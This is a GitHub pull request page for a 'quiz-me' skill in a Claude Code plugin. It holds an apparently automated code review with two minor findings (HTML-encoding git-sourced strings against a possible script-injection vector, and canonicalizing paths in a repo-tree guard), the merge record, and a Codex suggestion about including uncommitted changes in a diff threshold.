A collaborator with write access could craft a commit message containing <script>…</script> that executes when the user opens the report via file://. file:// contexts have no shared cookie domain and Chrome/Firefox restrict cross-origin fetch() from local files, but the script could still exfiltrate the in-page content (the report body, architectural decisions, and embedded answer key). Attack surface is narrow — repo write access is required — but the fix is a single sentence in the Report contract.

Recommended addition (after the "Reference discipline" bullet, around line 87):

HTML-encode all git-sourced strings (file paths, branch names, commit messages, PR titles) before embedding them in report body and heading elements — never interpolate them verbatim into HTML tags.

Fix this →

Finding 2 — SUGGESTION (PLAUSIBLE): Repo-tree guard should canonicalize both sides

SKILL.md lines 119–122: The guard resolves report_library_dir to an absolute path before comparing against ${CLAUDE_PROJECT_DIR}, but does not require canonicalizing ${CLAUDE_PROJECT_DIR} itself. In a per-ticket worktree where CLAUDE_PROJECT_DIR is itself a symlink, report_library_dir resolves to the real path while CLAUDE_PROJECT_DIR stays as the symlink path — they compare unequal and the guard silently passes, allowing a report to land in the repo tree.

This only triggers if a user sets report_library_dir to the realpath of their symlinked worktree root — an uncommon coincidence. Consequence is a policy violation (report in the product tree), not a privilege escalation.

Recommended change to the repo-tree guard bullet: add "canonicalize ${CLAUDE_PROJECT_DIR} via realpath (or equivalent) before the comparison so symlinked worktree roots are caught correctly."

Fix this →


Strengths

SKILL.md is correct and internally consistent across all its sections (action router, report contract, retention mechanics, non-gating posture, recall coverage boundary, composition, boundary docs). At 196 lines and 825/1536 description chars it sits comfortably within both budget limits.

Slug derivation (lines 96–111) is sound: sha256sum/shasum -a 256 cross-platform fallback is present; SSH/HTTPS normalization strips scheme, userinfo, and scp-style colons before hashing; tr -cs 'a-z0-9' '-' reduces the base to safe alphanumeric-plus-hyphen; the quiz-me/ segment correctly fences artifacts from teach's path-keyed workspaces in the shared ${CLAUDE_PLUGIN_DATA}.

Evals (8 scenarios) give complete policy coverage: canonical trigger, default non-gating, off suppresses, retention to CLAUDE_PLUGIN_DATA, recall library-first with named coverage boundary, artifact-verification boundary handoff, above-threshold offers-not-generates, always+decline leaves nothing written. All expectations are specific and verifiable.

plugin.json is correctly structured: quiz_policy has type/title/description/default; report_library_dir has type directory with no default (preserving zero-config). Version bump 0.4.0 → 0.5.0 and CHANGELOG entry are present and consistent.

README correctly replaces the old "no userConfig" claim with a complete Configuration section documenting both keys, their defaults, and the #798 guardrail caveat.

PLUGIN-PHILOSOPHY.md correctly records quiz-me as a named exception with full rationale — the -me qualifier as a load-bearing object-pronoun distinguishing the human-test boundary. Consistent with the list's style and scope.

Security posture is clean: prompt-only skill, no hooks, no executable trust surface, no remote MCP, no new dependencies, all artifacts routed to ${CLAUDE_PLUGIN_DATA} or the userConfig override, never the product repo's tree.


Summary

All prior CRITICAL and MINOR findings across six review passes are resolved. Two SUGGESTION-level items remain open — HTML-encoding of git-sourced content in the report body, and canonicalizing both sides of the repo-tree guard comparison — neither is a blocker. Applying both would take two sentences in SKILL.md and close the remaining edge cases definitively. The skill, evals, manifest, and docs are otherwise complete and ready to merge.
| Branch

@kyle-sexton
kyle-sexton merged commit 614c123 into main Jul 21, 2026
22 checks passed
@kyle-sexton
kyle-sexton deleted the feat/799-education-quiz-me branch July 21, 2026 08:06

@chatgpt-codex-connector chatgpt-codex-connector Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

💡 Codex Review

Here are some automated review suggestions for this pull request.

Reviewed commit: bde4056e6f

ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

  • Open a pull request for review
  • Mark a draft as ready
  • Comment "@codex review".

If Codex has suggestions, it will comment; otherwise it will react with 👍.

Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".

Resolve the default branch first, then judge from the merge-base diff against its
remote-tracking ref at offer time (well-defined even after commits, and correct in a PR
worktree with no local branch): `d="$(git remote show origin 2>/dev/null | awk '/HEAD
branch/ {print $NF}')"; git diff --stat "$(git merge-base HEAD "origin/$d")"..HEAD`. If

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P2 Badge Include uncommitted work in threshold checks

When quiz_policy=above-threshold is evaluated before the completed change is committed, this range diff only compares the merge-base to HEAD, so staged/unstaged working-tree edits are invisible and a large post-work change can produce an empty stat and no quiz offer until after a commit. Include the index/working-tree diff in this threshold calculation, or state that above-threshold only applies after a committed checkpoint.

Useful? React with 👍 / 👎.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

education: add quiz-me skill — post-work comprehension verification (HITL, non-gating by default)

1 participant